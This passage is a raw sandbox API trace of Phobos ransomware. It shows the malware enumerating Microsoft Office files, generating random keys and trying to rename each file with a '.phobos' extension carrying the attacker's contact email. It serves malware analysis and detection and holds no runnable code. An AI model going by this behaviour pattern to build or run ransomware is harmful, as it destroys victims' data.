dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.358] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=829080) returned 1 [0154.358] CloseHandle (hObject=0x488) returned 1 [0154.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Project.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\project.x-none.msi.16_mondoww.mcxml")) returned 0x220 [0154.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Project.x-none.msi.16_mondoww.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\project.x-none.msi.16_mondoww.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.358] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Project.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\project.x-none.msi.16_mondoww.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.358] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.358] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Publisher.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\publisher.x-none.msi.16_mondoww.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.359] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=2526948) returned 1 [0154.359] CloseHandle (hObject=0x488) returned 1 [0154.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Publisher.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\publisher.x-none.msi.16_mondoww.mcxml")) returned 0x220 [0154.359] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Publisher.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\publisher.x-none.msi.16_mondoww.mcxml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Publisher.x-none.msi.16_mondoww.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\publisher.x-none.msi.16_mondoww.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0154.360] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Publisher.x-none.msi.16_mondoww.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\publisher.x-none.msi.16_mondoww.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Publisher.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\publisher.x-none.msi.16_mondoww.mcxml")) returned 0 [0154.360] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Visio.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\visio.x-none.msi.16_mondoww.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0154.394] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1344882) returned 1 [0154.394] CloseHandle (hObject=0x57c) returned 1 [0154.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Visio.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\visio.x-none.msi.16_mondoww.mcxml")) returned 0x220 [0154.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Visio.x-none.msi.16_mondoww.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\visio.x-none.msi.16_mondoww.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Visio.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\visio.x-none.msi.16_mondoww.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.395] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\drilldwn.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.397] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=72872) returned 1 [0154.397] CloseHandle (hObject=0x488) returned 1 [0154.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\drilldwn.vsl")) returned 0x220 [0154.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DRILLDWN.VSL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\drilldwn.vsl.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\drilldwn.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.400] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DWGDPRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dwgdpres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.401] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=18504) returned 1 [0154.401] CloseHandle (hObject=0x488) returned 1 [0154.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DWGDPRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dwgdpres.dll")) returned 0x220 [0154.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DWGDPRES.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dwgdpres.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DWGDPRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dwgdpres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.404] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.404] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EntityPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\entitypickerintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.406] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=26736) returned 1 [0154.406] CloseHandle (hObject=0x488) returned 1 [0154.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EntityPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\entitypickerintl.dll")) returned 0x220 [0154.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EntityPickerIntl.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\entitypickerintl.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EntityPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\entitypickerintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.407] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ENVELOPR.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\envelopr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.408] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19048) returned 1 [0154.408] CloseHandle (hObject=0x488) returned 1 [0154.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ENVELOPR.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\envelopr.dll")) returned 0x220 [0154.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ENVELOPR.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\envelopr.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ENVELOPR.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\envelopr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.408] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\eqplist.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.409] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1699) returned 1 [0154.409] CloseHandle (hObject=0x488) returned 1 [0154.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\eqplist.vrd")) returned 0x220 [0154.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EQPLIST.VRD.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\eqplist.vrd.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\eqplist.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.409] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.411] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1523112) returned 1 [0154.411] CloseHandle (hObject=0x488) returned 1 [0154.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel.hxs")) returned 0x220 [0154.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL.HXS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel.hxs.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.411] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.412] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.412] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.413] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=621) returned 1 [0154.413] CloseHandle (hObject=0x488) returned 1 [0154.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel_col.hxc")) returned 0x220 [0154.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL_COL.HXC.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel_col.hxc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.414] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.414] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=205) returned 1 [0154.414] CloseHandle (hObject=0x488) returned 1 [0154.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel_col.hxt")) returned 0x220 [0154.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL_COL.HXT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel_col.hxt.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.415] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.415] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=114) returned 1 [0154.416] CloseHandle (hObject=0x488) returned 1 [0154.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel_f_col.hxk")) returned 0x220 [0154.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL_F_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel_f_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.416] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.417] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=113) returned 1 [0154.417] CloseHandle (hObject=0x488) returned 1 [0154.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel_k_col.hxk")) returned 0x220 [0154.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL_K_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel_k_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.417] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.417] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.417] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\exptoows.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.419] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=14432) returned 1 [0154.419] CloseHandle (hObject=0x488) returned 1 [0154.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\exptoows.dll")) returned 0x220 [0154.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\exptoows.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.421] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\exptoows.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.421] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.421] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\facility.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.422] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=87216) returned 1 [0154.423] CloseHandle (hObject=0x488) returned 1 [0154.423] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\facility.vsl")) returned 0x220 [0154.423] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FACILITY.VSL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\facility.vsl.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.423] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\facility.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.423] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.423] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\floch.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.424] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=2028) returned 1 [0154.424] CloseHandle (hObject=0x488) returned 1 [0154.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\floch.vrd")) returned 0x220 [0154.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FLOCH.VRD.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\floch.vrd.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.424] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\floch.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.424] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.424] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\frintl.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\frintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.425] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19008) returned 1 [0154.425] CloseHandle (hObject=0x488) returned 1 [0154.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\frintl.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\frintl.dll")) returned 0x220 [0154.425] GetFileAttributesW 